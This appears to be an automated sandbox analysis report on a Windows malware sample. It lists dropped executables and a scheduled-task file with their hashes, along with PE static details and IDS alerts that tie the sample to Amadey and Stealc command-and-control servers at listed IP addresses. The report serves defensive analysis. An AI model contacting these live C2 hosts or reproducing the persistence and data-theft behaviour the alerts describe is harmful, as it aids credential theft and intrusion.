Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:37 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	82896
Entropy (8bit):	2.191806561818109
Encrypted:	false
SSDEEP:	384:/eYkab6HpVVj/K7w0WpiXBIUMReJ3trgSBHeCQoD7Wsj0:/7n2HpTT2WcvQedVUoD7JQ
MD5:	354D9ED577898D0DDB2FF7F9D6FB7C97
SHA1:	60C31B22399AAFD11CE2BD562D6D02F847A2E29C
SHA-256:	F00B8423CF842AC5A0A69CC49E2F920CC82799BD762F208B5F78108C7B5EDC68
SHA-512:	859BEE087C5880244C00221FC6FFB590F142043F5BBE101D43420CCEA775854C0F460D96E1E628B72F38351F71BDA6D5C09FFD2D96AB79C4FAA15F34B7A4F0CF
Malicious:	false
Preview:	MDMP..a..... ..........f........................P...........<...........4....:..........`.......8...........T...........8#... ..........$...........................................................................................eJ..............GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\1000026002\0f2a0c16ee.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	417792
Entropy (8bit):	6.853380651118473
Encrypted:	false
SSDEEP:	6144:UoNOSzvJBmrrouTffp1Zpc4vBiefz06GZGY76shkES75quT2T3:jOSlBmrMuT3BpcWVr06GAA1uTA
MD5:	83BDD1B8845B4B966CE28F284868CE9F
SHA1:	BEE0D6FF026D091538A8568EA3478A57FD0E1205
SHA-256:	040A58A233DDF5F6BF49E3B5BD4A4FE5D8AE1D764E698B446CA08776863AAFC4
SHA-512:	297C2BFA91B141FE6B64F0B8595738F29203717A0F580A369A4018EF59A39E2F6AB95851C32832AD71560E530E04EBB94FBC917DE14B2A2871C04DDDBC384E06
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..A.........`......`.)./..`...s....$..........`......`.-....`.....Rich...........................PE..L...#I.d............................S8............@............................................................................d.......P...............................................................@...............0............................text..."........................... ..`.rdata..............................@..@.data............^..................@....rsrc...P............Z..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	417792
Entropy (8bit):	6.853380651118473
Encrypted:	false
SSDEEP:	6144:UoNOSzvJBmrrouTffp1Zpc4vBiefz06GZGY76shkES75quT2T3:jOSlBmrMuT3BpcWVr06GAA1uTA
MD5:	83BDD1B8845B4B966CE28F284868CE9F
SHA1:	BEE0D6FF026D091538A8568EA3478A57FD0E1205
SHA-256:	040A58A233DDF5F6BF49E3B5BD4A4FE5D8AE1D764E698B446CA08776863AAFC4
SHA-512:	297C2BFA91B141FE6B64F0B8595738F29203717A0F580A369A4018EF59A39E2F6AB95851C32832AD71560E530E04EBB94FBC917DE14B2A2871C04DDDBC384E06
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..A.........`......`.)./..`...s....$..........`......`.-....`.....Rich...........................PE..L...#I.d............................S8............@............................................................................d.......P...............................................................@...............0............................text..."........................... ..`.rdata..............................@..@.data............^..................@....rsrc...P............Z..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000023001\532d9160c6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	417792
Entropy (8bit):	6.853380651118473
Encrypted:	false
SSDEEP:	6144:UoNOSzvJBmrrouTffp1Zpc4vBiefz06GZGY76shkES75quT2T3:jOSlBmrMuT3BpcWVr06GAA1uTA
MD5:	83BDD1B8845B4B966CE28F284868CE9F
SHA1:	BEE0D6FF026D091538A8568EA3478A57FD0E1205
SHA-256:	040A58A233DDF5F6BF49E3B5BD4A4FE5D8AE1D764E698B446CA08776863AAFC4
SHA-512:	297C2BFA91B141FE6B64F0B8595738F29203717A0F580A369A4018EF59A39E2F6AB95851C32832AD71560E530E04EBB94FBC917DE14B2A2871C04DDDBC384E06
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..A.........`......`.)./..`...s....$..........`......`.-....`.....Rich...........................PE..L...#I.d............................S8............@............................................................................d.......P...............................................................@...............0............................text..."........................... ..`.rdata..............................@..@.data............^..................@....rsrc...P............Z..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\yjzllYsjlU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	429568
Entropy (8bit):	7.128373889223928
Encrypted:	false
SSDEEP:	6144:b09eBWBilriEAtxeSMikAX9cCaQ0POiFNVqjzwFYGONlsah/rOd2A:b0ABN9CxeSMFQ0WiFLqjmONFh/rOdv
MD5:	05B4B94FE502B06454E6FE20B6965C76
SHA1:	BFA65DE4BBEA7BF16322882EB0CBB0909EFCF0DB
SHA-256:	4A5C55CCDE112D37CACAC44E44B9DEA894299902F10A9C6CA4505B145019FDD1
SHA-512:	04FDECB2F567D7268D171B1E4131DF618C2C2C6835ADEE13083D139CC6443D9868F5BD7CBAED1CC020F29C7BC8BF14B763012548C1E8FED152F4DC18083C413A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........[..[..[..4.O.M..4.z.{..4.N.(..R.w.R..[....4.K.Z..4.~.Z..4.y.Z..Rich[..........................PE..L......e............................3.............@..................................1......................................t...d....@...\|.................................................h....... ...@............... ............................text.............................. ..`.data....p.......^..................@....rsrc....\|...@...~..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\yjzllYsjlU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\yjzllYsjlU.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4727155020871523
Encrypted:	false
SSDEEP:	6:hCbbXUhXUEZ+lX1CGdKUe6tE9+AQy0lbctwt0:hE4Q1CGAFD9+nVYtwt0
MD5:	4208AC55BA8945C55BDF725A23B62E14
SHA1:	30AE84C970CCA74DEDB6B273EC08DA673C54E4EA
SHA-256:	930EE1372602CCF547AE887D9C35ED5426DD7900D1F84EF328F063624B492305
SHA-512:	B5911241103B00F08AB735B9A9A3D8FAC5AC5E0F23A939062D9347C14A8079F63327ED18038D5F6120AEAF91D55B6C95E6DC75D69A148E772C26F31C456DDB1C
Malicious:	false
Preview:	.....S....O......Q.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................!.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.471265152399308
Encrypted:	false
SSDEEP:	6144:CzZfpi6ceLPx9skLmb0fCZWSP3aJG8nAgeiJRMMhA2zX4WABluuNcjDH5S:EZHtCZWOKnMM6bFpWj4
MD5:	C2AC064DC950947A8E2855EEBAB3DB1A
SHA1:	A47E0B059C3D5402E0028E9E29ED5EE3036B0ACF
SHA-256:	D530E631EEBEFD91F7C8AEA5435F14F952C728232C9AFAB4623F67BF251D8687
SHA-512:	8C186159077EF196864D86B0BC25FCC99EDAD16ADADBD0EAD836946C6ED4140A7872302EC4322A3700C0A89040B19F67BB7D60D24F74FC68643AF2C5A4337603
Malicious:	false
Preview:	regfU...U....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...w%...............................................................................................................................................................................................................................................................................................................................................=u.C........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.128373889223928
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	yjzllYsjlU.exe
File size:	429'568 bytes
MD5:	05b4b94fe502b06454e6fe20b6965c76
SHA1:	bfa65de4bbea7bf16322882eb0cbb0909efcf0db
SHA256:	4a5c55ccde112d37cacac44e44b9dea894299902f10a9c6ca4505b145019fdd1
SHA512:	04fdecb2f567d7268d171b1e4131df618c2c2c6835adee13083d139cc6443d9868f5bd7cbaed1cc020f29c7bc8bf14b763012548c1e8fed152f4dc18083c413a
SSDEEP:	6144:b09eBWBilriEAtxeSMikAX9cCaQ0POiFNVqjzwFYGONlsah/rOd2A:b0ABN9CxeSMFQ0WiFLqjmONFh/rOdv
TLSH:	3D94AF4392E17C54E9278732DE2EC6E9371EB9504E29376A3318AE9F24F01B1D163BD1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........[...[...[...4.O.M...4.z.{...4.N.(...R.w.R...[.......4.K.Z...4.~.Z...4.y.Z...Rich[...........................PE..L......e...

File Icon


Icon Hash:	412145494545710d

Static PE Info

General

Entrypoint:	0x43f933
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65DE7FE4 [Wed Feb 28 00:35:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	bfe1d6ca43e611244ffe6ad8a6fa68ea

Entrypoint Preview

Instruction
call 00007F4C144D0A92h
jmp 00007F4C144CD4BEh
int3
int3
int3
call 00007F4C144CD66Ch
xchg cl, ch
jmp 00007F4C144CD654h
call 00007F4C144CD663h
fxch st(0), st(1)
jmp 00007F4C144CD64Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007F4C144CD641h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007F4C144CD636h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007F4C144CD634h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007F4C144CD637h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007F4C144CF90Fh
fstp st(0)
fld tbyte ptr [0040206Ah]
ret
fstp st(0)
or cl, cl
je 00007F4C144CD63Dh
fstp st(0)
fldpi
or ch, ch
je 00007F4C144CD634h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007F4C144CD629h
fchs
ret
fstp st(0)
jmp 00007F4C144CF8E5h
fstp st(0)
mov cl, ch
jmp 00007F4C144CD632h
call 00007F4C144CD5FEh
jmp 00007F4C144CF8F0h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, FFFFFD30h
push ebx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b174	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x84000	0x17cd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4b1d8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3d168	0x18	.text
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3d120	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x220	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4add6	0x4ae00	4e3f7b24ee37b11b6c853e9cc2daae20	False	0.8943062656510852	data	7.836216550722494	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4c000	0x37010	0x5e00	c043bc38dd15ddd7deb053063247e8ae	False	0.07205784574468085	data	0.878579445568721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x84000	0x17cd0	0x17e00	67bb0f23a6714910c90f16db25c53e05	False	0.3666046302356021	data	4.383278874283619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x96a38	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x978e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x98188	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x98720	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x98850	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x98928	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x997d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x9a078	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x848a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.36433901918976547
RT_ICON	0x848a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.36433901918976547
RT_ICON	0x85748	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4526173285198556
RT_ICON	0x85748	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4526173285198556
RT_ICON	0x85ff0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.45910138248847926
RT_ICON	0x85ff0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.45910138248847926
RT_ICON	0x866b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.45303468208092484
RT_ICON	0x866b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.45303468208092484
RT_ICON	0x86c20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2654564315352697
RT_ICON	0x86c20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2654564315352697
RT_ICON	0x891c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.30651969981238275
RT_ICON	0x891c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.30651969981238275
RT_ICON	0x8a270	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.35726950354609927
RT_ICON	0x8a270	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.35726950354609927
RT_ICON	0x8a740	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.5642324093816631
RT_ICON	0x8a740	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.5642324093816631
RT_ICON	0x8b5e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5424187725631769
RT_ICON	0x8b5e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5424187725631769
RT_ICON	0x8be90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.6213872832369942
RT_ICON	0x8be90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.6213872832369942
RT_ICON	0x8c3f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4616182572614108
RT_ICON	0x8c3f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4616182572614108
RT_ICON	0x8e9a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.4871013133208255
RT_ICON	0x8e9a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.4871013133208255
RT_ICON	0x8fa48	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4918032786885246
RT_ICON	0x8fa48	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4918032786885246
RT_ICON	0x903d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.4530141843971631
RT_ICON	0x903d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.4530141843971631
RT_ICON	0x908a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.488272921108742
RT_ICON	0x908a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.488272921108742
RT_ICON	0x91748	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4697653429602888
RT_ICON	0x91748	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4697653429602888
RT_ICON	0x91ff0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.434971098265896
RT_ICON	0x91ff0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.434971098265896
RT_ICON	0x92558	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2773858921161826
RT_ICON	0x92558	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2773858921161826
RT_ICON	0x94b00	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2898686679174484
RT_ICON	0x94b00	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2898686679174484
RT_ICON	0x95ba8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.3069672131147541
RT_ICON	0x95ba8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.3069672131147541
RT_ICON	0x96530	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3395390070921986
RT_ICON	0x96530	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3395390070921986
RT_STRING	0x9a868	0x38c	data	Tamil	India	0.473568281938326
RT_STRING	0x9a868	0x38c	data	Tamil	Sri Lanka	0.473568281938326
RT_STRING	0x9abf8	0x56e	data	Tamil	India	0.44316546762589926
RT_STRING	0x9abf8	0x56e	data	Tamil	Sri Lanka	0.44316546762589926
RT_STRING	0x9b168	0x2c6	data	Tamil	India	0.4732394366197183
RT_STRING	0x9b168	0x2c6	data	Tamil	Sri Lanka	0.4732394366197183
RT_STRING	0x9b430	0x4a2	data	Tamil	India	0.448566610455312
RT_STRING	0x9b430	0x4a2	data	Tamil	Sri Lanka	0.448566610455312
RT_STRING	0x9b8d8	0x3f6	data	Tamil	India	0.4428007889546351
RT_STRING	0x9b8d8	0x3f6	data	Tamil	Sri Lanka	0.4428007889546351
RT_ACCELERATOR	0x96a00	0x38	data	Tamil	India	0.9107142857142857
RT_ACCELERATOR	0x96a00	0x38	data	Tamil	Sri Lanka	0.9107142857142857
RT_GROUP_CURSOR	0x986f0	0x30	data			0.9375
RT_GROUP_CURSOR	0x98900	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x9a5e0	0x30	data			0.9375
RT_GROUP_ICON	0x90838	0x68	data	Tamil	India	0.7019230769230769
RT_GROUP_ICON	0x90838	0x68	data	Tamil	Sri Lanka	0.7019230769230769
RT_GROUP_ICON	0x8a6d8	0x68	data	Tamil	India	0.6826923076923077
RT_GROUP_ICON	0x8a6d8	0x68	data	Tamil	Sri Lanka	0.6826923076923077
RT_GROUP_ICON	0x96998	0x68	data	Tamil	India	0.7211538461538461
RT_GROUP_ICON	0x96998	0x68	data	Tamil	Sri Lanka	0.7211538461538461
RT_VERSION	0x9a610	0x258	data			0.545

Imports

DLL	Import
KERNEL32.dll	GetLogicalDriveStringsW, SetEnvironmentVariableW, CreateJobObjectW, SetComputerNameW, CreateHardLinkA, GetModuleHandleW, EnumCalendarInfoExW, FindNextVolumeMountPointA, GetNumberFormatA, GetWindowsDirectoryA, GetConsoleAliasExesW, SetCommState, LoadLibraryW, GetLocaleInfoW, ReadConsoleInputA, GetCalendarInfoW, CreateEventA, SetVolumeMountPointA, GetConsoleAliasExesLengthW, GetVersionExW, GetFileAttributesA, EnumSystemCodePagesA, GetTimeFormatW, GetModuleFileNameW, CreateActCtxA, GetEnvironmentVariableA, SetThreadPriority, GetTempPathW, VerifyVersionInfoW, GlobalUnfix, GetStdHandle, GetLastError, GetCurrentDirectoryW, GetLongPathNameW, GetCurrentProcess, CreateNamedPipeA, LoadModule, GlobalFree, GetProcessVersion, LoadLibraryA, InterlockedExchangeAdd, CreateFileMappingA, LocalAlloc, SetCalendarInfoW, FoldStringW, EnumDateFormatsA, GlobalUnWire, GetProcessShutdownParameters, LoadLibraryExA, GetFileTime, WaitForDebugEvent, OpenEventW, GetShortPathNameW, SetFileShortNameA, GetDiskFreeSpaceExW, LCMapStringW, CommConfigDialogW, CreateFileW, GetStringTypeW, MultiByteToWideChar, CloseHandle, WriteConsoleW, FlushFileBuffers, InterlockedDecrement, EnumCalendarInfoW, InterlockedIncrement, SetEndOfFile, TlsGetValue, GetProcAddress, SetDefaultCommConfigA, SetStdHandle, HeapAlloc, EncodePointer, DecodePointer, HeapReAlloc, GetCommandLineW, HeapSetInformation, GetStartupInfoW, IsProcessorFeaturePresent, WideCharToMultiByte, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, ExitProcess, WriteFile, HeapCreate, Sleep, HeapSize, HeapFree, SetFilePointer, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RaiseException, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, RtlUnwind
USER32.dll	GetWindowLongW, SetCaretPos, LoadMenuA, InsertMenuItemW, GetMenu, CharUpperA, CharLowerBuffA, GetSysColor, GetMenuStringA
GDI32.dll	GetBkMode, GetCharWidthFloatA, CreateDCA, GetCharWidth32W, GetTextCharset, GetCharWidthI
WINHTTP.dll	WinHttpCloseHandle

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T10:33:11.607701+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49750	185.215.113.43	80	TCP
2024-09-25T10:33:21.971959+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	64681	185.215.113.103	80	TCP
2024-09-25T10:33:25.592506+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	64680	TCP
2024-09-25T10:33:26.046162+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:26.265770+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:26.271870+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.6	64682	TCP
2024-09-25T10:33:26.486604+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:26.493256+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.6	64682	TCP
2024-09-25T10:33:26.537731+0200	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.6	64683	185.215.113.43	80	TCP
2024-09-25T10:33:27.642684+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:28.070732+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:30.308410+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	64686	185.215.113.43	80	TCP
2024-09-25T10:33:32.850576+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:34.611706+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:35.954713+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:37.425841+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:45.085160+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:46.175156+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:48.531183+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	64695	185.215.113.103	80	TCP
2024-09-25T10:33:53.000344+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	64700	185.215.113.37	80	TCP
2024-09-25T10:33:56.102303+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	64705	185.215.113.37	80	TCP
